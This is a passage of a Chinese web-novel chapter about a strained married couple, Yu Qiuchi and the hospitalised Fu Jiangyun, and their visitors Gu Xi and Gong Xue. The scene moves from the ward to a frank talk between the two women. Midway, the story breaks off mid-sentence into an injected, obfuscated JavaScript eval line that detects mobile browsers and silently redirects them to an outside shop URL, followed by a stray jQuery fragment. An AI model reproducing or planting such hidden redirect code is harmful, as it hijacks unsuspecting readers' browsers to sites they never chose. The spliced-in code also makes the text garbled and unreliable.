后来顾西当然没听傅江云的话回家,他不仅来了,虞秋池喊他帮傅江云洗澡的时候,他也没拒绝,大大方方圈起袖子就要扶他起来进浴室。反倒是一直跟虞秋池嚷嚷需要人帮忙洗的傅江云,拒绝得干脆。
“你不是说自己一个人洗不方便么?顾西帮你不正好。”虞秋池觉得他这人真是莫名其妙。
“……我又觉得我自己能行。”傅江云淡淡扫了眼面前西装白裤的顾西,有些埋怨地看着他。
这没眼力见的兄弟……虞秋池让他来,还真来。
顾西被他这么一看,几乎立刻懂了傅江云的意思。于是故意捉弄他:“你怕什么?你有的我还能没有?又不是没一起游过泳,这也就少一条内裤的事儿。”
傅江云:……
他侧额瞥了虞秋池一眼,她低着头玩手机,似乎没注意两人对话内容。傅江云懒得跟他废话,借着他的力下床,虞秋池再抬头,入目画面就是顾西扶着人一瘸一拐地走向浴室。
刚刚两人的对话一字不漏地落到了虞秋池耳朵里,只不过她演还行,感受到傅江云投来目光之前,低下头假装什么也没听见。说实话她会觉得有些尴尬,她也不清楚原跟兄弟相处是这样。
傅江云关上门,顾西立马往回走。
“趁热吃。”他指了下刚带来的东西,在虞秋池对面的椅子上坐下,慢条斯理整理着衣袖,也不跟虞秋池拐弯抹角,直接打听起了齐歆现状。
“齐歆最近怎么样……和她那个女朋友。”
不知是不是错觉,虞秋池听出最后那三个字带了点咬牙切齿的感觉。
“你怎么不自己去问她。“虞秋池丝毫没有吃人嘴软的觉悟,顾西带的东西得吃,人也得怼。
“只要你不去骚扰她,她应该就过得挺好。”顾西会知道齐歆谈恋爱的事,虞秋池一点都不觉得惊讶。
顾西没计较她话里有话地点她,低眉盖住双眸情绪,没为自己辩护,反正和龚雪的捆绑关系马上就结束了。他终于可以回去找她了,他发誓一定要把那几年欠她的所有还给她。
正想着,病房门口出现一道靓丽的背影。
龚雪捧着一束鲜花轻轻推开门,看见里面的人微微一怔。这么晚了虞秋池还在吗。
走近空无一人的病床放下花束,转身对上虞秋池的双眼,两人似乎都没想到会对视上,很快彼此有错开了视线。
很明显,她俩都记着民宿那次,龚雪闺蜜的话。
两人之间气氛其实挺微妙的,可顾西没察觉,还问龚雪怎么这么晚过来了。
“加班路过,突然想起来傅江云在这医院,就上来瞧一眼。”她其实是故意晚上来的,就怕白天和虞秋池碰上面,却怎么也没想到这也能遇上。不是说他俩冷战么,虞秋池还能安安分分待在这。
加班路过,那花也是路过买的么。
虞秋池表情极淡。
不过也就那么几秒就恢复了正常,龚雪又没破坏她婚姻,她不过是喜欢傅江云罢了。
“要喝水吗?”她问道。
“……呃,好啊。”似乎没想到虞秋池会这么平静对自己,看上去没有一点不开心,一个女人,究竟要多大的包容才能怼闺蜜那种恶意揣测都不放在眼里,难道她真的不爱傅江云?
浴室门被打开,傅江云穿戴整齐出来了,顾西放下手机,迈腿搀扶他。
虞秋池盯着他的腿,想着明天去给他弄一副拐杖来,虽然病房有轮椅,但也不适合室内使用。
“你怎么有空过来?”傅江云看见沙发上坐着的龚雪问道。
她不是在忙着自己参与投资的项目么。
“不欢迎我?”龚雪朝他挑眉。
“倒不是这个意思。“他轻笑客气接过话。其实他和龚雪关系一般,平时联系不多,也不过最近一个月因为工作才和她在微信上交流得多了起来,虽然都是关于工作,可到底是高中同学,关系也自然比一般客户要好。
傅江云想的是,既然未来注定要接受傅爸的生意,现在拿点小项目练练手也行。自己毕竟不是专业的,有她和顾西这样的生意人带着挺好。以后能走许多弯路。
两人这短短两句话的交流,虞秋池听着就不是那么一回事了。
就像龚雪叫他一样,连名带姓的,至少虞秋池认为,自己一直习惯连名带姓地喊傅江云,是因为他们的关系是最亲密直接的,直接到不需要任何昵称来坠饰,她会觉得这是一种有恃无恐,不单单因为他是她的丈夫,也因为儿时那段记忆,他是自己最忠实的小跟班啊。
可现在发现,龚雪也这么喊他,傅江云也曾是她小跟班呢。
可这个想法很快把自己逗笑,他俩高中才认识,高中的傅江云哪能用“跟班”这俩字形容。拽得跟个二五八万似的。
虞秋池拿出水果刀给顾西和龚雪削了两个苹果,眼神示意傅江云要不要吃,傅江云摇了摇头。于是顺手拿起果篮里的橘子,剥了一个递给他。
傅江云只从他手里拿走一半,掰了两瓣扔进嘴里。
“甜吗?”虞秋池问他。
他嘴里慢慢嚼着,虞秋池得到他眼神中的鼓励,塞了进嘴里一小瓣,哪里甜了,酸得她腮帮子都疼了。
他终于吃完嘴里的东西,才慢慢悠悠地蹦出两个字:“不甜。”
不甜还让她吃。故意戏弄人呢。
傅江云看着她皱眉拿纸巾包住嘴里的东西,扔进垃圾桶,赶在她要开口骂自己先一步道:“我就爱吃酸的。”
虞秋池白了他一眼,把手里剩下那半也塞给他:“那你多吃点。”
傅江云笑着接过,还真一瓣瓣分开,往嘴里送。
她转身回到沙发坐下,跟两人有一搭没一搭地聊了几句,床上的傅江云也时不时接句话,气氛还算轻松,再后面虞秋池也不知道聊什么,就静静坐着听他们三闲聊。
“陈总那边有答复么?”顾西把玩手机,突然问了一嘴他们想要打造生态民俗的项目跟进得如何。
龚雪摇头,“今晚才给他助理发了微信,估计最早也得明天。“她翻着微信界面,瞥到另一个项目的负责任聊天框,忽然想起来要跟傅江云说的事,抬头看向床上的人:“哦对,小林总那边说——”
“现在不聊这个。”傅江云直接打断龚雪,双眼直勾勾盯着对面的低头玩手指的虞秋池,他分明感觉到她情绪变得低了些。
几乎同时龚雪顺着他的视线望去,虞秋池神色恹恹地耷拉脑袋,抱着胳膊看着自己的美甲。
“怎么了?”她眨眨眼睛,看着仿佛就像上课走神的小孩突然被老师盯住。
要不是从龚雪跟顾西聊天那时候就在看她,否则连傅江云都要被她瞒过去了。
“你们继续聊你们的事儿啊。看我做什么。”羽球场你笑着说,龚雪更加不明白傅江云为何突然打断自己。
“我们没什么好聊的事。”傅江云回她。
虞秋池嘴角慢慢放下来,他们明明就在聊生意,现在又不聊这个话题,是因为有她这个外行人在场么。
“你多久能出院?”顾西及时转开话题。他察觉到傅江云忽然变得很紧张虞秋池,同为男人,他能很快捕捉到。
“下周应该就能。”早上医生查房看了,说没什么大问题,输两天水就能出院。骨折本来就是需要慢慢静养的病,在医院一直待着也没多大帮助。
“那就好,回去安心养着,养病期间少抽点。”顾西点开屏幕看了眼手机,“我就先走了,你俩早点睡。”
傅江云挑眉,他还知道自己这段时间抽烟很频繁?
“
他喊了龚雪一起,“走了,我送你。”
虞秋池也礼貌站了起来,把两人送到电梯口。
“我开车来的,我俩不顺路,你先走吧。”
顾西在回信息,闻言回头看了龚雪一眼,无所谓点了点头,然后又回到手机上。他也不是真心要送人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157308|141730||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不过是找个理由把人带走而已。
她走得很慢,虞秋池自然察觉她刻意放慢的步伐,侧过脸一言不发看她。
“和我聊聊?”
医院楼下的公共座椅上,两人各占一半。
“那天……我替我闺蜜跟你道个歉。”龚雪思索,回忆那些难听话,“她嘴是挺每个把门的,但她人不坏,也不过是因为……”
开口第一句就让虞秋池没有听下去的欲望了,那个闺蜜不坏,只是因为对龚雪不坏罢了,否则来跟她道歉的就该是那个女人。她扯着嘴角轻蔑笑了。
“不过什么?”虞秋池反问道,“不过是因为你喜欢傅江云,所以她替你出头而已,对吧?”
龚雪看她,虞秋池不甚在意地拨了下耳边的头发:“其实她鼓励你去追傅江云也没错,但就不应该,踩着我,夸傅江云。”
“你……一点不在意我喜欢他?”龚雪有些意外。
不在意吗,未必吧,如果是跟傅江云相处最舒服快乐的时候,她肯定是在乎的。可自己跟傅江云已经都走到离婚这步了,在不在意的又有多重要。即便她对傅江云有那么点好感,傅江云带给她的冷暴力也给消耗无几了。
她非常讨厌被冷暴力,从前卫杨提分手是这样,傅江云跟她吵架时也这样,是不是这是男人不用学就会的天性?虞秋池也挺干脆,说得难听点就是绝情。只要发现了傅江云有这臭毛病,绝不惯着,直接提分开。
她似乎忘了,一个人根本冷战不起来,她又何尝没这么对他。
虞秋池想了下,摇摇头:“没什么好在意的。我也不能剥夺别人喜欢他的权力。而且,你也没当小三,破会我婚姻啊。”
这话让龚雪有点尴尬了,她确实是没有跟傅江云表白的勇气,自然也不屑做知三当三这种毫无道德之事。
“你喜欢他什么呢?即使他结过婚,你也不介意嘛。”
“我嘛,有一种奇特的拥有欲。好坏总要体验一把。”
好坏总要体验一把……虞秋池很喜欢这句话,她跟傅江云之间,不也是这样。
“但我挺好奇,你是从高中就喜欢他的吧?你现在依然喜欢他?“十年可不是一个小数字,她继续问:”真有人会喜欢一个人长达十年么……“她有些敬佩:“你怎么做到的?”
“十年只爱一个?这种鬼话你也信,”龚雪笑了:“我肯定没那么伟岸,高中那会确实是喜欢过他一阵,他死活看不上我,我这人也要脸,我周围又不是只他一个异性。这些年也谈过其他人,可到头来……竟然发现自己对他还有那么点好感,你说可笑不可笑。”
虞秋池看了她一眼,没觉得多可笑。只觉得她这就是得不到的永远在骚动,她这点和顾西对齐歆没两样,所以本质他们还真是同类人。
虞秋池轻叹了口气,“你也知道我和他吵架了吧,还是挺难和好的那种……反正,或许你后面真的有机会等他重新回归单身。“虞秋池还是留了个心眼子,没告诉她两人这架已经吵到离婚边缘了,只是暗戳戳地提醒她,届时她也能大胆追爱了。
“如果到时你还是对他有好感的话。”她补充道。
龚雪皱了皱眉,别有深意地看着她。她不是没懂,只是觉得他们不会分开,想起刚才在病房,他故意捉弄虞秋池吃酸橘子的时候,他看她的时候,眼里有独一无二的温柔。
虞秋池别过头,舒展肩颈,打趣:“傅江云有什么好的,值得你甘愿这么死心塌地跟他,他跟我离了,可是个二婚噢。”
“你会介意暗恋对象二婚不二婚?”
她当然不介意,不说暗恋对象,如果能碰上灵魂伴侣,她才不会管这么多。不过毕竟可惜,她对男男女女不胜感兴趣。
“而且,傅江云怎么样,你跟他在一起这么久,心头会没数么。”
她俩对视一秒,虞秋池立马懂她什么意思。
还真别说,他活儿挺好,要分了,身体恐怕会先舍不得。